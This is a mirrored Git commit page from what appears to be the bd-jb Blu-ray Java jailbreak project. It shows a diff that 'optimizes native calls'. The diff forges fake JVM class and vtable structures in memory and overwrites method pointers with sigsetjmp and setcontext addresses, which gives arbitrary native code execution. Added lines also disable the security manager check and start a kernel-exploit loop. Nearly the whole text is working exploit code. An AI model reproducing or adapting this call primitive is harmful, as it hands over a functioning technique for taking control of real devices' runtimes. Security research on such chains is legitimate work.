mirror of
https://github.com/TheOfficialFloW/bd-jb
synced 2024-12-12 10:12:15 -05:00
Optimize native calls.
This commit is contained in:
parent
44713ef59f
commit
be9a9319e6
@ -34,6 +34,22 @@ public class Exploit {
|
|||||||
|
|
||||||
if (System.getSecurityManager() != null) {
|
if (System.getSecurityManager() != null) {
|
||||||
Screen.println("[-] Error could not disable security manager.");
|
Screen.println("[-] Error could not disable security manager.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Screen.println("[*] Exploiting kernel...");
|
||||||
|
|
||||||
|
Class[] kernelExploits = new Class[] {};
|
||||||
|
|
||||||
|
for (int i = 0; i < kernelExploits.length; i++) {
|
||||||
|
try {
|
||||||
|
ExploitKernelInterface exploit = (ExploitKernelInterface) kernelExploits[i].newInstance();
|
||||||
|
if (exploit.trigger()) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -27,7 +27,7 @@ public final class API {
|
|||||||
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
|
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
|
||||||
"Java_java_lang_reflect_Array_multiNewArray";
|
"Java_java_lang_reflect_Array_multiNewArray";
|
||||||
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
|
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
|
||||||
private static final String SETJMP_SYMBOL = "setjmp";
|
private static final String SIGSETJMP_SYMBOL = "sigsetjmp";
|
||||||
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
|
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
|
||||||
private static final String ERROR_SYMBOL = "__error";
|
private static final String ERROR_SYMBOL = "__error";
|
||||||
|
|
||||||
@ -45,6 +45,8 @@ public final class API {
|
|||||||
|
|
||||||
private static API instance;
|
private static API instance;
|
||||||
|
|
||||||
|
private static ThreadLocal callContexts = new ThreadLocal();
|
||||||
|
|
||||||
private UnsafeInterface unsafe;
|
private UnsafeInterface unsafe;
|
||||||
|
|
||||||
private long longValueOffset;
|
private long longValueOffset;
|
||||||
@ -57,7 +59,7 @@ public final class API {
|
|||||||
|
|
||||||
private long Java_java_lang_reflect_Array_multiNewArray;
|
private long Java_java_lang_reflect_Array_multiNewArray;
|
||||||
private long JVM_NativePath;
|
private long JVM_NativePath;
|
||||||
private long setjmp;
|
private long sigsetjmp;
|
||||||
private long __Ux86_64_setcontext;
|
private long __Ux86_64_setcontext;
|
||||||
private long __error;
|
private long __error;
|
||||||
|
|
||||||
@ -157,9 +159,9 @@ public final class API {
|
|||||||
throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found");
|
throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
|
sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL);
|
||||||
if (setjmp == 0) {
|
if (sigsetjmp == 0) {
|
||||||
throw new InternalError("setjmp not found");
|
throw new InternalError("sigsetjmp not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
|
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
|
||||||
@ -275,82 +277,79 @@ public final class API {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
|
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
|
||||||
long fakeClassOop = malloc(Int64.SIZE);
|
long ret = 0;
|
||||||
long fakeClass = malloc(0x100);
|
|
||||||
long fakeKlass = malloc(0x200);
|
|
||||||
long fakeKlassVtable = malloc(0x400);
|
|
||||||
|
|
||||||
if (fakeClassOop == 0 || fakeClass == 0 || fakeKlass == 0 || fakeKlassVtable == 0) {
|
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
|
||||||
throw new OutOfMemoryError("malloc failed");
|
// This is used to "train" this function to kick in optimization early. Otherwise, it is
|
||||||
}
|
// possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext
|
||||||
|
// leading to different stack layouts of the two calls.
|
||||||
|
int iter = func == 0 ? 1 : 2;
|
||||||
|
|
||||||
try {
|
CallContext callContext = getCallContext();
|
||||||
long ret = 0;
|
|
||||||
|
|
||||||
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
|
if (jdk11) {
|
||||||
// This is used to "train" this function to kick in optimization early. Otherwise, it is
|
write32(callContext.fakeKlass + 0xC4, 0); // dimension
|
||||||
// possible that optimization kicks in between the calls to setjmp and __Ux86_64_setcontext
|
|
||||||
// leading to different stack layouts of the two calls.
|
|
||||||
int iter = func == 0 ? 1 : 2;
|
|
||||||
|
|
||||||
if (jdk11) {
|
for (int i = 0; i < iter; i++) {
|
||||||
write64(fakeClassOop + 0x00, fakeClass);
|
write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable);
|
||||||
write64(fakeClass + 0x98, fakeKlass);
|
write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable);
|
||||||
write32(fakeKlass + 0xC4, 0); // dimension
|
if (i == 0) {
|
||||||
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass
|
write64(callContext.fakeKlassVtable + 0x158, sigsetjmp + 0x23); // multi_allocate
|
||||||
|
} else {
|
||||||
for (int i = 0; i < iter; i++) {
|
write64(
|
||||||
write64(fakeKlass + 0x00, fakeKlassVtable);
|
callContext.fakeKlassVtable + 0x158, __Ux86_64_setcontext + 0x39); // multi_allocate
|
||||||
write64(fakeKlass + 0x00, fakeKlassVtable);
|
|
||||||
if (i == 0) {
|
|
||||||
write64(fakeKlassVtable + 0x158, setjmp); // multi_allocate
|
|
||||||
} else {
|
|
||||||
write64(fakeKlassVtable + 0x158, __Ux86_64_setcontext); // multi_allocate
|
|
||||||
}
|
|
||||||
|
|
||||||
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
|
|
||||||
|
|
||||||
if (i == 0) {
|
|
||||||
buildContext(
|
|
||||||
fakeKlass + 0x00, fakeKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
write64(fakeClassOop + 0x00, fakeClass);
|
|
||||||
write64(fakeClass + 0x68, fakeKlass);
|
|
||||||
write32(fakeKlass + 0xBC, 0); // dimension
|
|
||||||
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
|
|
||||||
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
|
|
||||||
|
|
||||||
for (int i = 0; i < iter; i++) {
|
ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||||
write64(fakeKlass + 0x10, fakeKlassVtable);
|
|
||||||
write64(fakeKlass + 0x20, fakeKlassVtable);
|
|
||||||
if (i == 0) {
|
|
||||||
write64(fakeKlassVtable + 0x230, setjmp); // multi_allocate
|
|
||||||
} else {
|
|
||||||
write64(fakeKlassVtable + 0x230, __Ux86_64_setcontext); // multi_allocate
|
|
||||||
}
|
|
||||||
|
|
||||||
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
|
if (i == 0) {
|
||||||
|
buildContext(
|
||||||
if (i == 0) {
|
callContext.fakeKlass + 0x00,
|
||||||
buildContext(
|
callContext.fakeKlass + 0x00,
|
||||||
fakeKlass + 0x20, fakeKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
|
func,
|
||||||
}
|
arg0,
|
||||||
|
arg1,
|
||||||
|
arg2,
|
||||||
|
arg3,
|
||||||
|
arg4,
|
||||||
|
arg5);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
write32(callContext.fakeKlass + 0xBC, 0); // dimension
|
||||||
|
|
||||||
if (ret == 0) {
|
for (int i = 0; i < iter; i++) {
|
||||||
return 0;
|
write64(callContext.fakeKlass + 0x10, callContext.fakeKlassVtable);
|
||||||
|
write64(callContext.fakeKlass + 0x20, callContext.fakeKlassVtable);
|
||||||
|
if (i == 0) {
|
||||||
|
write64(callContext.fakeKlassVtable + 0x230, sigsetjmp + 0x23); // multi_allocate
|
||||||
|
} else {
|
||||||
|
write64(
|
||||||
|
callContext.fakeKlassVtable + 0x230, __Ux86_64_setcontext + 0x39); // multi_allocate
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||||
|
|
||||||
|
if (i == 0) {
|
||||||
|
buildContext(
|
||||||
|
callContext.fakeKlass + 0x20,
|
||||||
|
callContext.fakeKlass + 0x20,
|
||||||
|
func,
|
||||||
|
arg0,
|
||||||
|
arg1,
|
||||||
|
arg2,
|
||||||
|
arg3,
|
||||||
|
arg4,
|
||||||
|
arg5);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return read64(ret);
|
|
||||||
} finally {
|
|
||||||
free(fakeKlassVtable);
|
|
||||||
free(fakeKlass);
|
|
||||||
free(fakeClass);
|
|
||||||
free(fakeClassOop);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (ret == 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return read64(ret);
|
||||||
}
|
}
|
||||||
|
|
||||||
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
|
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
|
||||||
@ -586,4 +585,50 @@ public final class API {
|
|||||||
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
|
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
|
||||||
return bytes;
|
return bytes;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private CallContext getCallContext() {
|
||||||
|
CallContext callContext = (CallContext) callContexts.get();
|
||||||
|
if (callContext != null) {
|
||||||
|
return callContext;
|
||||||
|
}
|
||||||
|
|
||||||
|
callContext = new CallContext();
|
||||||
|
callContexts.set(callContext);
|
||||||
|
return callContext;
|
||||||
|
}
|
||||||
|
|
||||||
|
class CallContext {
|
||||||
|
long fakeClassOop;
|
||||||
|
long fakeClass;
|
||||||
|
long fakeKlass;
|
||||||
|
long fakeKlassVtable;
|
||||||
|
private long callBuffer;
|
||||||
|
|
||||||
|
CallContext() {
|
||||||
|
callBuffer = malloc(Int64.SIZE + 0x100 + 0x200 + 0x400);
|
||||||
|
if (callBuffer == 0) {
|
||||||
|
throw new OutOfMemoryError("malloc failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
fakeClassOop = callBuffer;
|
||||||
|
fakeClass = fakeClassOop + Int64.SIZE;
|
||||||
|
fakeKlass = fakeClass + 0x100;
|
||||||
|
fakeKlassVtable = fakeKlass + 0x200;
|
||||||
|
|
||||||
|
if (jdk11) {
|
||||||
|
write64(fakeClassOop + 0x00, fakeClass);
|
||||||
|
write64(fakeClass + 0x98, fakeKlass);
|
||||||
|
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass
|
||||||
|
} else {
|
||||||
|
write64(fakeClassOop + 0x00, fakeClass);
|
||||||
|
write64(fakeClass + 0x68, fakeKlass);
|
||||||
|
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
|
||||||
|
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void finalize() {
|
||||||
|
free(callBuffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user